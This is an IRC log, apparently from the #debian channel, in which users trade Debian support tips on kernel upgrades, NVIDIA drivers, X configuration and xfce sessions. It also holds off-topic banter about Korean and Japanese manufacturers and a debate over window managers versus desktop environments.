| 05:05.39 | Guerin | loof: the desktop computer my wife uses is called 'New Millennium Frontier' |
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| 05:05.45 | loof | Though I find it hillarious that they are now 'LG' here in the states |
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| 05:05.56 | Guerin | loof: and we have a waste basket called 'Belief Ring' |
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| 05:06.10 | loof | Sales people don't even REALIZE they are the same company as ... belief ring, what? |
| 05:06.12 | Guerin | loof: they're LG here in korea too |
| 05:06.25 | loof | Guerin: Ah, I thought that was just an export thing |
| 05:06.48 | Guerin | loof: we have another waste basket called 'SensorCubic High Sensor Interior Box' |
| 05:06.52 | loof | I wonder which is bigger now, Samsung or LG |
| 05:07.00 | jm_ | Samsung is a fucking giant |
| 05:07.02 | Guerin | samsung has always been bigger |
| 05:07.14 | loof | LG seems to be growing damned fast |
| 05:07.52 | jm_ | wasn't LG (with their old name) just a name under which some other well known company was selling cheap stuff ? Hitachi maybe ? |
| 05:08.00 | sussudio | jm_: philips |
| 05:08.06 | jm_ | sussudio: ohh |
| 05:08.20 | loof | Well, there was a company named Goldstar |
| 05:08.26 | sussudio | it's a joint venture between philips and some korean company |
| 05:08.28 | sgeigerbot | dendrite: If we get enough badgers, we should storm Redmond. |
| 05:08.29 | loof | which bought another company...which had Lucky in the name |
| 05:08.29 | Guerin | LG also partner with IBM to make computer stuff here |
| 05:08.34 | loof | and became the lucky gold star |
| 05:08.40 | loof | now when your kids get good grades |
| 05:08.47 | Guerin | most of which is a cut above what samsung makes, though still worse than plain ibm branded stuff |
| 05:08.49 | jm_ | Lucky Star - they were selling motherboards here |
| 05:08.50 | loof | and get a gold... oh wait, not related |
| 05:09.00 | sgeigerbot | !lotb is Lord of the Badgers, a.k.a., sussudio |
| 05:09.01 | dpkg | sgeigerbot: okay |
| 05:09.01 | dendrite | sgeigerbot: I like the idea of an army of badger zombies clawing over Redmond... |
| 05:09.17 | simonrvn | i like the image it generates |
| 05:09.21 | loof | I dunno, I'm still trying to figure out who the heck MSI/Foxconn are |
| 05:09.25 | Guerin | in the land or redmond where the badgers lie |
| 05:09.29 | Guerin | s/or/of/ |
| 05:09.31 | TheStar | Is it impossible to keep the unstable mirror up-to-date? |
| 05:09.34 | dendrite | where the badgers creep. |
| 05:09.35 | loof | They're way to big to be a dingy little manuf. |
| 05:09.41 | Guerin | TheStar: nothing's imposssible. |
| 05:09.45 | Vyrus001 | how do i install a pcmcia wifi card in debian? i have the pcmcia packages installed and it sees the card... now wat? |
| 05:09.48 | loof | I dunno |
| 05:09.50 | TheStar | Guerin, Heh. |
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| 05:09.54 | loof | I have a feeling that 5 guys own everything |
| 05:09.57 | loof | maybe 10 |
| 05:09.58 | loof | heh |
| 05:10.03 | sgeigerbot | I always thought it would be an army of penguins doing my bidding. |
| 05:10.10 | TheStar | loof, Pretty much. |
| 05:10.24 | dendrite | sgeigerbot: The penguins can ride on the backs of the zombie badgers. |
| 05:11.04 | sgeigerbot | TheStar: Fun, isn't it. |
| 05:11.09 | loof | I dunno, most people don't realize something very basic |
| 05:11.21 | loof | Japan was just about demolished after WWII |
| 05:11.24 | TheStar | sgeigerbot, Yeah. |
| 05:11.33 | PyroTechno | Is it a know isuse that the debian instller on Alpha wont let you set a partion to be LVM PV? |
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| 05:11.39 | TheStar | sgeigerbot, Tricky without a working sh, but that got fixed soon enough. |
| 05:11.42 | loof | the American government gave tax breaks to american companties to set up same-segment companies in Japan |
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| 05:12.01 | loof | that means that Japanese auto manuf. were MAJORITY OWNED by US auto makers |
| 05:12.11 | loof | even when they were 'destroying the US auto industry' |
| 05:12.20 | loof | they were making the US auto makers a lot of money |
| 05:12.24 | sgeigerbot | TheStar: Did you copy a statically compiled shell into there? |
| 05:12.25 | jm_ | which one ? Toyota and Honda certainly never were |
| 05:12.28 | jm_ | ones even |
| 05:12.30 | loof | Uhm |
| 05:12.31 | Guerin | loof: mazda |
| 05:12.32 | loof | Are you kidding |
| 05:12.36 | TheStar | sgeigerbot, Somehow, the libncurses.so got shortened during a sarge upgrade |
| 05:12.41 | loof | Toyota is like %20 GM owned today |
| 05:12.48 | TheStar | sgeigerbot, Nah, just copied the lib from the .deb |
| 05:12.50 | loof | I'd have to check #s |
| 05:13.01 | dabreegster | I'm about to attempt to recompile a new kernel. I'm on Debian Testing with a 2.4 kernel on the i386 architecture. I'm recompiling to add framebuffer and alsa support. Any tips or precautions I should take? |
| 05:13.05 | loof | Mazda has always had a really large share of US ownership |
| 05:13.09 | loof | Honda, I have no idea |
| 05:13.17 | sgeigerbot | TheStar: spekaing of fun stuff, the Debian installer is sweet. |
| 05:13.21 | Guerin | !tell dabreegster about kp mantra |
| 05:13.23 | mCorey | dabreegster, look up newbie-doc's kernel compile information :) |
| 05:13.27 | TheStar | sgeigerbot, How so? |
| 05:13.29 | dendrite | dabreegster: Any reason to not just go to 2.6? |
| 05:13.29 | jm_ | that's not called majority owned in my book |
| 05:13.45 | loof | jm_: They were ONCE majority owned... no longer, as I said... |
| 05:13.48 | sgeigerbot | TheStar: You can set up LVM very easily. |
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| 05:13.51 | blal | dabreegster : Your first time? What got me the first time is forgetting to build ext2 support into the kernel (I build the module). |
| 05:13.59 | dabreegster | ok |
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| 05:14.01 | jm_ | loof: Honda wasn't |
| 05:14.01 | blal | s/build/built/ |
| 05:14.04 | TheStar | sgeigerbot, I haven't even *looked* at lvm yet :( |
| 05:14.09 | loof | jm_: I don't know about Honda |
| 05:14.16 | dabreegster | dendrite: I'm going to 2.6. I'm at 2.4 |
| 05:14.20 | loof | Toyota bought they way into majority ownership fairly early |
| 05:14.20 | PyroTechno | sgeigerbot: Not on alpha... |
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| 05:14.26 | TheStar | sgeigerbot, But I'm still runing debian stable on one of my servers... (Well, *now* running stable on one of my servers...) |
| 05:14.30 | loof | and then there are monsters... like matsushita |
| 05:14.45 | dendrite | dabreegster: The easy way is to install a binary 2.6 kernel, so that all the other dependencies will resolve. |
| 05:14.46 | loof | which were started by very wealthy Japanese royalty |
| 05:14.57 | dendrite | dabreegster: If you just grab 2.6 source on a 2.4 box, your odds of success are low. |
| 05:15.02 | jm_ | isn't Toyota part of some huge business, that makes just about everything ? |
| 05:15.07 | dvs | loof: They're not as good as Panasonic. ;-) |
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| 05:15.16 | cafuego | jm_: No. |
| 05:15.16 | dendrite | dabreegster: And 2.6 has alsa. :-) |
| 05:15.21 | dabreegster | dendrite: oh. well, where do I grab a binary? which package? |
| 05:15.25 | sgeigerbot | PyroTechno: just curious: why are using using an alpha? |
| 05:15.31 | dabreegster | ok, I know. will framebuffer support be added? |
| 05:15.33 | loof | BTW, for the connection impared Panasonic == Matsushita |
| 05:15.33 | Guerin | !tell dabreegster about search |
| 05:15.35 | cafuego | jm_: Mitsubishi is, though. |
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| 05:15.47 | sgeigerbot | PyroTechno: I'd guess that intel machines give you better bang for the buck. |
| 05:15.56 | jm_ | cafuego: Mitsubishi is mostly owned by Daimler-Chrysler these days I think |
| 05:16.02 | PyroTechno | sgeigerbot: Geekfactor |
| 05:16.07 | cafuego | jm_: Damn germans. |
| 05:16.09 | dendrite | dabreegster: Start with apt-cache search kernel-image|grep 2.6|grep 86 |
| 05:16.10 | PyroTechno | sgeigerbot: I have a thing for them |
| 05:16.23 | jm_ | cafuego: they're already regretting the deal :P |
| 05:16.26 | PyroTechno | sgeigerbot: I got a good deal for it on ebay any ways. |
| 05:16.26 | loof | Mitsubishi does more in making parts for other companies |
| 05:16.28 | dabreegster | dendrite: ok |
| 05:16.31 | dabreegster | thanks |
| 05:16.34 | cafuego | sgeigerbot: Did you mean intel or x86? |
| 05:16.35 | loof | they still make among the best turbo chargers around |
| 05:16.40 | sgeigerbot | PyroTechno: I think sticking with the hardware most people use is best for most purposes.. |
| 05:16.45 | dendrite | dabreegster: "apt-cache search kernel-image|grep 2.6|grep 86" that is... |
| 05:16.52 | sgeigerbot | cafuego: intel-compatible/x86. thanks. |
| 05:16.58 | dabreegster | ok |
| 05:17.19 | dendrite | cafuego: I believe sarge has 2.6.8-1... |
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| 05:17.22 | dabreegster | should I have to do anything extra to get framebuffer working? (the main reason for switching) |
| 05:17.23 | jm_ | yeah, I wouldn't mind an Evo, but not current model, either prev. generation, or 10 when it comes out |
| 05:17.25 | cafuego | Whee, it renders the video fatser then realtime. That's gotta be an improvement ;-) |
| 05:17.41 | dendrite | dabreegster: Should be in 2.4, let alone 2.6. |
| 05:17.49 | cafuego | dabreegster: Normally loading the fb driver would help. |
| 05:17.49 | dabreegster | ok |
| 05:17.55 | PyroTechno | sgeigerbot: I think you're wrong sir. |
| 05:18.00 | dendrite | dabreegster: vesafb. |
| 05:18.02 | Guerin | well, predictable, #gtk+ on irc.gimp.org are worthless when it comes to lib problems building their software |
| 05:18.05 | dabreegster | alright cafuego |
| 05:18.09 | TheStar | What's LVM like? |
| 05:18.21 | dendrite | dabreegster: What cafuego said, about fb. |
| 05:18.25 | Guerin | jm_: have you actually build gt_ for framebuffer? |
| 05:18.27 | TheStar | I wonder if there's a "Self-certification" process for debian? |
| 05:18.34 | Rangitoto | I have just installed Debian and realised that I have probably selected the video card incorrectly. I understand that to revisit the setup process I should run /usr/sbin/base-config but when I try to do so I get a message that there is no such directory. I am a newcomer to Linux (and Unix commands). |
| 05:18.56 | Guerin | Rangitoto: dpkg-reconfigure xserver-xfree86 |
| 05:18.56 | cheale1 | I'm trying to get the nvidia accelerated drivers for Sarge to work, "the NVidia way". installing works but the X server fails to start with "(EE) NVIDIA(0): Failed to initialize the NVIDIA kernel module!". it is said that I should have /dev/nvidia* files, but I don't. does somebody have a clue how to get those files? |
| 05:18.58 | iceman | Rangitoto: dpkg-reconfigure xserver-xfree86 |
| 05:19.02 | TheStar | Developing in Windows is painful. |
| 05:19.10 | Guerin | !kiwismite Rangitoto |
| 05:19.14 | Guerin | :) |
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| 05:20.04 | blal | !dpkg tell cheale1 about nvidia |
| 05:20.33 | dendrite | I'm not sure if NVidia is evil or not... |
| 05:20.47 | blal | dendrite : It is. They usually are. |
| 05:21.02 | cheale1 | me neither, but I already red the dpkg stuff |
| 05:21.30 | dendrite | blal: Well, given the video hardware market, I can imagine they'd rather not open themselves up to a bunch of patent suits. |
| 05:21.51 | cheale1 | there's a quick procedure that didn't work, one that involves recompiling the kernel and links to an outdated howto to do that. and there's the nvidia way |
| 05:22.28 | dabreegster | oh, should I mention that I'm using grub? |
| 05:22.28 | TheStar | At the very least, it's one of the easiest of the proprietory drivers to install, imho. |
| 05:22.33 | Guerin | cheale1: module-assistant can help you out |
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| 05:22.51 | Guerin | I think it does it all automaticwise |
| 05:23.02 | peppo | why does "ftp" try to write "pftp"? |
| 05:23.08 | jm_ | Guerin: nope, I stopped using console several years ago, and even then, I never liked FB, I always used svgatextmode |
| 05:23.15 | TheStar | If I want to prove to myself that I'm an expert in linux, etc, etc, what should I do? |
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| 05:23.25 | peppo | rather, why does the new p-ftp use "pftp" as binary name instead of p-ftp? |
| 05:23.28 | cheale1 | Guerin: thanks, I didn't try that yet. is that part of the method involving a kernel compilation? |
| 05:23.30 | Guerin | jm_: what ddid you browse web with? |
| 05:23.31 | Jebediah | I got a DVD here with bonus audio tracks... can see them with ogle but I can't find them with dvd::rip or mplayer. Is there a way to extract it? |
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| 05:23.35 | dendrite | TheStar: How many years of Linux/Unix experience do you have? |
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| 05:23.40 | TheStar | Short of getting a Redhat certification thing done, but that's redhat specific. |
| 05:23.41 | Guerin | cheale1: not if you're using a debian kernel |
| 05:23.47 | TheStar | dendrite, Probably about 3 years. |
| 05:23.51 | dendrite | TheStar: There's the LPI certs... |
| 05:24.01 | TheStar | dendrite, But I've been only out of school for one. |
| 05:24.05 | dendrite | TheStar: Odds are you are not an expert. But I'm sure there are exceptions. |
| 05:24.06 | Guerin | TheStar: I'm told that all linux certifications are a WOFTAM |
| 05:24.06 | TheStar | dendrite, LPI? |
| 05:24.08 | jm_ | Guerin: I did very little browsing back then, it was lynx and then links later on |
| 05:24.12 | Paco | would like to know the command for loading a driver from a cd after you ar in the "Debian:/mnt/cdrom#" prompt. |
| 05:24.25 | TheStar | dendrite, I find that I can always achieve an aim, but true, I am not an expert. |
| 05:24.31 | dabreegster | elinks is pretty good for the command line |
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| 05:24.40 | TheStar | dendrite, Never-the-less, it's an easy way to have some sort of structured learning. |
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| 05:24.50 | dendrite | TheStar: Then you are on your way to becoming that expert, which is every bit as valid in my book. :-) |
| 05:24.55 | TheStar | dabreegster, Sometimes lynx formats better, though. |
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| 05:24.57 | jbot- | Okay, I'm here. (courtesy of lego`) |
| 05:25.00 | cheale1 | Guerin: I'm using a debian kernel, can you suggest what to read to get an idea how I'll use module-assistant for that? |
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| 05:25.20 | TheStar | dendrite, Thankyou, but that still doesn't help me :/ |
| 05:25.21 | Guerin | cheale1: man module-assistant; I haven't used it |
| 05:25.23 | dendrite | TheStar: w3m is a nice text mode browser. |
| 05:25.28 | cheale1 | ok |
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| 05:25.34 | dendrite | TheStar: LPI has linux testing/certification. |
| 05:25.44 | mCorey | TheStar, elinks, lynx, links |
| 05:25.49 | TheStar | dendrite, I just want something free and unofficial, but good. |
| 05:26.06 | dendrite | TheStar: Build your own distribution. |
| 05:26.09 | Guerin | jm_: hrm, fair enough. The debian source configures but fails to build for some obscure reason which I think is somewhere deep in the bowels of the code; the upstream source doesn't configure because it can't find freetype, when I have it installed and everything. |
| 05:26.18 | jm_ | ohh cron.daily time, didn't think I would enjoy this at work one day |
| 05:26.19 | TheStar | dendrite, Already done that, to a small digree. |
| 05:26.34 | TheStar | dendrite, But it was a pain to keep up-to-date, and to install programs. |
| 05:26.35 | bob2 | jm_: that means it's hometime |
| 05:26.36 | Guerin | dendrite: free, unofficial, good: pick two. |
| 05:26.42 | TheStar | dendrite, Then I went onto Gentoo. |
| 05:26.51 | jm_ | Guerin: maybe you can help it with --with-freetype=foo |
| 05:26.59 | mCorey | !gentoosmite thestar |
| 05:27.02 | jm_ | bob2: I just arrived some 25 minutes ago ;) |
| 05:27.06 | Guerin | jm_: tried that too :( |
| 05:27.13 | TheStar | Guerin, Ok, the free and good ones, then :) |
| 05:27.15 | bob2 | jm_: oh man |
| 05:27.25 | Guerin | TheStar: hehe, good luck :) |
| 05:27.29 | Paco | can anyone help load a driver from a cd after i mount the cd? |
| 05:27.41 | TheStar | Yeah, got sick of compiling KDE all the time, etc, etc, so I finally discovered Debian. |
| 05:27.47 | TheStar | Never looked back since. |
| 05:28.16 | TheStar | And infact, I *cant*, now that I've invested in a personal debian mirror :( |
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| 05:28.52 | TheStar | Painful on a 256k connection! |
| 05:29.03 | sgeigerbot | When I make an initrd for a filesystem that I had to mount and then chroot into, *should* I have success if I'm using LVM (and have properly mounted proc)? or will I have problems that can only be resolved by running the command outside of the chroot? I'm asking because I can't see "/dev/mapper/myvg-mylv" (which is where the chroot is) from within the chroot. |
| 05:29.11 | TheStar | Next year I'll have 1.5Mb, so that'll help... |
| 05:29.28 | zignig | bob2: you've got a complete sarge mirror ? |
| 05:29.39 | zignig | dendrite: apt-proxy and apt-cacher are good to. |
| 05:29.45 | TheStar | dendrite, Probably should do that, but I wanted to have debian DVD's to use. |
| 05:29.54 | sgeigerbot | PyroTechno: maybe it doesn't work because you don't have the kernel modules loaded. Everythgin preceeding that point may work fine. |
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| 05:29.55 | bob2 | zignig: sid |
| 05:30.00 | dendrite | zignig: I tried apt-cacher about a year ago, and it sucked. Maybe I should try it again... |
| 05:30.26 | sgeigerbot | apt-cacher in the rye? |
| 05:30.32 | dendrite | zignig: I didn't know about apt-proxy... |
| 05:30.43 | TheStar | bob2, Just put in a secondary debian mirror, yours won't always be up-to-date. |
| 05:30.44 | dendrite | sgeigerbot: Mind the badgers! |
| 05:30.50 | TheStar | bob2, Just list yours first. |
| 05:31.04 | bob2 | TheStar: yes, I know |
| 05:31.05 | PyroTechno | sgeigerbot: it jsut doesn't wants to make a stiped lv! |
| 05:31.10 | TheStar | I'm using anonftpsync, btw. |
| 05:31.13 | PyroTechno | sgeigerbot: It keeps tossesing useage at me! |
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| 05:34.30 | cdc | i am still unable to log onto xfce |
| 05:34.33 | cdc | i am using kdm |
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| 05:34.49 | cdc | i am unable to find xfce in the drop down list |
| 05:35.02 | bob2 | that's nice |
| 05:35.11 | bob2 | run it out of ~/.xsession like dondelelcaro told you to |
| 05:35.23 | jackd | when i try to start proftpd it doesn't seem to work |
| 05:35.30 | jackd | /usr/sbin/proftpd |
| 05:35.37 | cafuego | jackd: /var/log/syslog |
| 05:35.38 | jasonf | !tell joecool about no-sources |
| 05:35.45 | jackd | ok |
| 05:35.52 | TheStar | gcc 4? Gcc has a version 4 already? |
| 05:35.58 | |QuaD| | any suggestions on a backup program with a gtk (or non kde) frontend? |
| 05:36.02 | jm_ | and why are you starting it directly ? use init script or start it from inetd |
| 05:36.05 | jm_ | TheStar: yes |
| 05:36.17 | jackd | <PROTECTED> |
| 05:36.17 | jackd | Dec 23 13:24:10 kyle proftpd[24604]: kyle - Check the ServerType directive to ensure you are configured correctly. |
| 05:36.36 | TheStar | |QuaD|, I use rsync, cp, with a console frontend, such as bash. |
| 05:36.37 | Rangitoto | I don't know which X server driver to use. Looking at the manual for the motherboard (which has built in graphics) isn't much help in that regard except that it says under "Built-in Graphics System" that P4M266/A integrates S3's Savag4 graphics accelerator into a single chip. |
| 05:36.38 | jackd | what else could be using port 21?? |
| 05:36.48 | jm_ | jackd: you should know, it's your system |
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| 05:37.00 | |QuaD| | TheStar: lol |
| 05:37.01 | jm_ | rangio;try lspci |
| 05:37.14 | TheStar | jackd, Perhaps it's already running, even. |
| 05:37.20 | TheStar | |QuaD|, It's no joke. |
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| 05:37.42 | sparq__ | Has anyone noticed rendering errors when previewing BMP files with nautilus? |
| 05:38.02 | |QuaD| | TheStar: thats not what i had in mind |
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| 05:38.14 | jstevens | is there any way to "restart" sound... I had it working, but not it's not... was wondering if I cold restart it and have it working |
| 05:38.23 | TheStar | |QuaD|, There are a number of KDE and other backup programs. |
| 05:38.29 | jackd | if i did ps -ef | grep ftp i should see it if its running yeh? |
| 05:38.33 | TheStar | |QuaD|, But, it seems that they are all inflexible. |
| 05:38.38 | |QuaD| | TheStar: i know kde ones, i am using gnome now :( |
| 05:38.45 | TheStar | jackd, Possibly. |
| 05:38.51 | jackd | possibly? |
| 05:38.57 | TheStar | |QuaD|, You can use kde ones in gnome, just takes longer to startup. |
| 05:39.09 | TheStar | jackd, If the program is called ftpd, then yes. OTherwise, no. |
| 05:39.16 | |QuaD| | TheStar: i try to keep kdelibs off my comp |
| 05:39.22 | Cyanophytes | how can I get make-dpkg with apt-get |
| 05:39.24 | TheStar | jackd, Check out netstat. |
| 05:39.26 | Rangitoto | "lspci" isn't included in the list of drivers. |
| 05:39.29 | jackd | k |
| 05:39.42 | TheStar | |QuaD|, I'm sure there's a gnome frontend or two as well. |
| 05:40.06 | |QuaD| | TheStar: lemme look |
| 05:40.29 | jm_ | jackd: use netstat/lsof/fuser |
| 05:41.08 | sgeigerbot | PyroTechno: So, which hardware platform do you think gives people the best bang for their buck? |
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| 05:41.48 | TheStar | sgeigerbot, Generally, x86, afaik. |
| 05:41.56 | TheStar | sgeigerbot, But I know you didn't ask me :) |
| 05:42.10 | TheStar | sgeigerbot, Although I do really, really like Apple hardware with mac os x... |
| 05:42.10 | jackd | tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN |
| 05:42.19 | TheStar | sgeigerbot, Pity about their compiler. |
| 05:42.31 | jackd | doesnt tell me what is listening tho |
| 05:42.35 | jm_ | Rangitoto: no msgs, lspci is a command |
| 05:43.31 | mCorey | !test |
| 05:43.31 | dpkg | No, mcorey, you're not online any more. |
| 05:43.36 | sgeigerbot | TheStar: That's what I thought, but he said he felt I was wrong. |
| 05:43.52 | dabreegster | So, to upgrade my kernel using apt-get and a kernel image, all I do is install the package, add the correct lines to /boot/grub/menu.lst, and reboot? |
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| 05:43.54 | sgeigerbot | mCorey: Bestanden. |
| 05:44.05 | mCorey | dabreegster, no |
| 05:44.22 | mCorey | dabreegster, all you do is apt-get install the image and debconf will edit your menu.lst for you :) |
| 05:44.46 | TheStar | sgeigerbot, I find my database noticibly slower on mac, btw. |
| 05:44.50 | dabreegster | mCorey: oh ok, cool |
| 05:45.00 | sgeigerbot | dabreegster: I have to do this: "sudo grub-install /dev/hda" |
| 05:45.13 | sparq__ | so... anyone seen this error? http://vort.org/downloads/nautilus-busted-bmp.png |
| 05:45.34 | mCorey | on all my boxes that were installed with sarge and not woody, i don't have to do anything for a kernel image's boot entry to appear |
| 05:45.39 | dabreegster | sgeigerbot: ok, I'll try that too |
| 05:45.43 | sparq__ | the file *should* look like this http://vort.org/downloads/orig-current.bmp |
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| 05:46.28 | dabreegster | I've copied the entire directory of /boot, but it's just in my home directory. to make sure my old kernel is there in case something goes wrong, where should I keep a backup of the old kernel? |
| 05:46.42 | mCorey | dabreegster, no need. it won't replace it |
| 05:46.45 | TheStar | What's the best desktop designer / window manager for non-geeks and non-programmers? <-- Discussion for today! |
| 05:46.56 | dabreegster | mCorey: oh, that's a relief |
| 05:47.08 | dondelelcaro | TheStar: those are totally orthogonal things |
| 05:47.12 | mCorey | dabreegster, yes, indeed. the image will only disappear once you remove it :) |
| 05:47.22 | mCorey | ... in theory. |
| 05:47.22 | mCorey | :) |
| 05:47.26 | TheStar | dondelelcaro, What do you mean by that? |
| 05:47.31 | dabreegster | which I won't be doing :-P |
| 05:47.35 | mCorey | !dict orthogonal |
| 05:47.38 | simonrvn | @+dict orthogonal |
| 05:47.39 | dpkg | Dictionary 'orthogonal' (3 shown; 11 total): See also orthogonal instruction set. ;; having a set of mutually perpendicular axes; meeting at right angles; "wind and sea may displace the ship's center of gravity along three orthogonal axes"; "a rectangular Cartesian coordinate system" ;; <geometry> At 90 degrees (right angles).. |
| 05:47.46 | ravenbird | Dictionary 'orthogonal' (5 shown; 11 total): Orthogonal \Or*thog"o*nal\, a. [Cf. F. orthogonal.] Right-angled; rectangular; as, an orthogonal intersection of one curve with another. ;; not pertinent to the matter under consideration; "an issue extraneous to the debate"; "the price was immaterial"; "mentioned several impertinent facts before finally coming to the point" ;; <geometry> At 90 degrees (right angles). ;; statistically unrelated ; |
| 05:47.50 | TheStar | I KNOW that orthogonal means "perpendicular'... |
| 05:48.03 | TheStar | I know what you said, but I don't quite grok what you *mean*. |
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| 05:48.49 | dondelelcaro | TheStar: a desktop designer has nothing to do with a window manager... and vice versa. |
| 05:48.50 | TheStar | And besides, two orthogonal lines have a point of intersection. |
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| 05:49.07 | TheStar | Oops, I meant "Desktop environment" rather than designer ;) |
| 05:49.17 | TheStar | Sorry! |
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| 05:49.26 | dondelelcaro | TheStar: same thing. A DE is separate from a WM |
| 05:49.29 | Rangitoto | Is it possible to get out of the X server configuration? I am finding that it is asking more questions than the first time I used it and I am not sure of the answers to the additional questions. |
| 05:49.31 | jm_ | Guerin: hmm no errors here when I ran ./configure --enable-fbmanager --without-libtiff, however I have everything is nto quite built right, had to build stuff in gdk/linux-fb myself (it built fine, but I don't think this will cut it) |
| 05:49.33 | Cyanophytes | what package contains make-dpkg? |
| 05:49.35 | dondelelcaro | s/thing/answer/ |
| 05:49.42 | dondelelcaro | Cyanophytes: you mean make-kpkg? |
| 05:49.48 | Cyanophytes | yes |
| 05:49.49 | jm_ | rangio;press ctrl-c |
| 05:49.52 | jm_ | Rangitoto: press ctrl-c |
| 05:49.54 | dondelelcaro | !tell Cyanophytes about kp |
| 05:49.55 | dabreegster | In my /etc/modules, I have sound, soundcore, sb, and sb_lib added to get oss to work. When the new kernel with alsa boots, will that conflict with it and mess it up somehow? |
| 05:50.11 | dondelelcaro | Cyanophytes: you should also /msg dpkg search; while you're at it. |
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| 05:51.22 | TheStar | dondelelcaro, You do know what I mean, though? |
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| 05:51.29 | TheStar | dondelelcaro, And the two are often associated. |
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| 05:51.42 | Pook | . |
| 05:51.55 | TheStar | Koop: . |
| 05:52.12 | Pook | heh...just testing out something |
| 05:52.34 | Pook | I setup something called tor |
| 05:52.41 | TheStar | Pook, Well, why did you pick a channel of 697 to "test" something? :) |
| 05:52.50 | dondelelcaro | TheStar: sure, just like people who conflate their DM with their WM and DE... anyway, most of the time I personally just use a WM. Everything else is best dealt with using a term with your favorite shell. |
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| 05:53.08 | Pook | TheStar: because its a channel i'm familiar with |
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| 05:53.26 | TheStar | dondelelcaro, Same, I use my WM as a glorified xterm, never-the-less, my question stands :) |
| 05:53.50 | TheStar | Gnome seems nice, but slow and inconsistant, and KDE is very nice and consistant, but slow again :( |
| 05:53.57 | dondelelcaro | TheStar: here, I use openbox. Others probably use different things... |
| 05:54.00 | TheStar | And the others are extremely spartian. |
| 05:54.07 | simonrvn | fuck |
| 05:54.08 | TheStar | dondelelcaro, What's openbox like? |
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| 05:54.17 | dondelelcaro | gnome and kde are not window managers... |
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| 05:54.42 | TheStar | dondelelcaro, In the context of this discussion, is that even *relevant*? |
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| 05:54.53 | TheStar | dondelelcaro, If it is, then please explain it. |
| 05:54.58 | Rangitoto | When I ran "lspci" the last message was "VGA controller: S3 inc.: Unknown device 8d04". Should I, therefore, use the VGA driver for X server? |
| 05:55.15 | dondelelcaro | TheStar: you're talking about DEs, when I haven't even mentioned them at all. I'm only talking about WM. |
| 05:55.19 | TheStar | dondelelcaro, Or, should I just call it "graphical session decorators"? |
| 05:55.45 | Duelist | How does one fix the "usb 1-1: control timeout on ep0in" problem? I've searched alltheweb and found nothing useful |
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| 05:55.59 | TheStar | dondelelcaro, I'm talking in the context of non-geek, and non-programmer. Why is there a difference in that case? (Aside from the fact that WM's typically do not have desktop icons) |
| 05:56.33 | dondelelcaro | TheStar: there is a huge difference. It's like trying to compare a transmission with an engine. Yes, they're connected, but they do totally different things. |
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| 05:57.08 | cdc | i ve done everything that i could so still unable to locate xfce in the kdm drop down list |
| 05:57.13 | cdc | i am using Sarge |
| 05:57.14 | dondelelcaro | TheStar: if you want to have a meaningful discussion about it, you best learn and understand the terminology. Otherwise, don't even bother discussing it, since no one will be able to understand you. |
| 05:57.17 | TheStar | dondelelcaro, What is this difference? Aside from that a DE is often a collection of programs, and a WM is just a window manager. |
| 05:57.18 | cdc | installed xfce using aptget |
| 05:57.31 | dondelelcaro | cdc: it won't be in the drop down list. Just use the debian session. |
| 05:57.46 | jm_ | rangiot;no, xf4 supports Savage |
| 05:57.46 | cdc | huh...... |
| 05:57.46 | TheStar | dondelelcaro, Why is the user confronted with such a distinction? |
| 05:57.48 | cdc | is it |
| 05:57.55 | jm_ | gah I can't type |
| 05:57.58 | jm_ | Rangitoto: no, xf4 supports Savage |
| 05:58.02 | mCorey | merry christmas #debian. I |
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| 05:58.09 | mCorey | I'm off for a while :) |
| 05:58.09 | TheStar | jm_, If I had a dime for every time you said that... :) |
| 05:58.17 | cdc | dondelelcaro, so what do i do |
| 05:58.21 | cdc | just guide me pls |
| 05:58.23 | dondelelcaro | TheStar: because they are totally different. A WM places windows, and draws window decorations, and occasionally deals with other things. |
| 05:58.39 | jm_ | TheStar: careful, sometimes I "sue" things instead of "using" them! |
| 05:58.54 | dondelelcaro | TheStar: a desktop environment has things like panels and actually sticks icons on the desktop whilst having nothing to do with actually placing windows. |
| 05:59.15 | dondelelcaro | cdc: you add exec /usr/bin/xfce4 or whatever to your .xsession; and select the Debian session from the kde menu. |
| 05:59.18 | TheStar | dondelelcaro, Icewm has a panel. |
| 05:59.26 | TheStar | dondelelcaro, Yet it is a WM. |
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| 05:59.35 | TheStar | dondelelcaro, And thus, to the user, what is the difference? |
| 05:59.50 | cdc | dondelelcaro, i dont have a .xsession file at all |
| 05:59.55 | cdc | in my home directory |
| 06:00.00 | dondelelcaro | cdc: so make one. |
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| 06:00.04 | cdc | what should i add in .xsession |
| 06:00.06 | TheStar | dondelelcaro, How should I refer to this in a discussion, in a way to include all window managers, desktop environments, etc, etc, etc? |
| 06:00.10 | dondelelcaro | TheStar: what actually deals with placing windows is the window manager. A WM may have parts of it that do other things, but it's still a WM if it manages windows. |
| 06:00.35 | grepper | strange that TryExec in the xfce4.desktop file doesn't work for him |
| 06:00.35 | PyroTechno | sgeigerbot: its not all about money. |
| 06:00.39 | dondelelcaro | TheStar: gnome and kde aren't window managers. They rely on a window manager to actually manage the windows. Therefore, you don't compare gnome and kde with a window manager. |
| 06:00.55 | mCorey | :) |
| 06:00.56 | TheStar | dondelelcaro, Ok, so Gnome is a WM? Because it has parts that do other things, but it still deals with placing windows. |
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| 06:01.11 | Duelist | Not to throw gasoline on the fire, but GNOME and KDE do come with window managers, don't they? |
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| 06:01.16 | PyroTechno | sgeigerbot: I have a thing for DEC Alpha nuff said. good night |
| 06:01.20 | dondelelcaro | TheStar: no, gnome has fuck all to do with placing windows. It uses metacity or sawfish to do that. |
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| 06:01.26 | TheStar | Yes, they include said window manager, in order to manage the windows, but it is still part of Gnome/KDE/whatever. |
| 06:01.35 | dondelelcaro | Duelist: the may have default ones, but they're seperate from gnome. |
| 06:01.51 | dondelelcaro | Hell, you can even use openbox as the WM for gnome. |
| 06:01.56 | Duelist | dondelelcaro: There is a window manager that comes with KDE though |
| 06:01.57 | Cyanophytes | dondelelcaro: thanks |
| 06:01.59 | TheStar | dondelelcaro, EXACTLY. *together*, they are referred to as "Gnome". Gnome is a bit awkward with, say, ION or FluxBox as the window manager, is it not? |
| 06:02.04 | Duelist | and it is called the KDE window manager I think (kdewm) |
| 06:02.08 | cdc | dondelelcaro, what should the .xession file contain |
| 06:02.08 | dondelelcaro | TheStar: no, it's not. And no, they're not. |
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| 06:02.25 | TheStar | dondelelcaro, And if you do use other window managers rather than the defaults, it is no-longer a standard gnome setup. |
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| 06:02.31 | dondelelcaro | cdc: exec xfce4; or similar. |
| 06:02.43 | dondelelcaro | TheStar: it's still gnome. It's not exactly brain surgery here. |
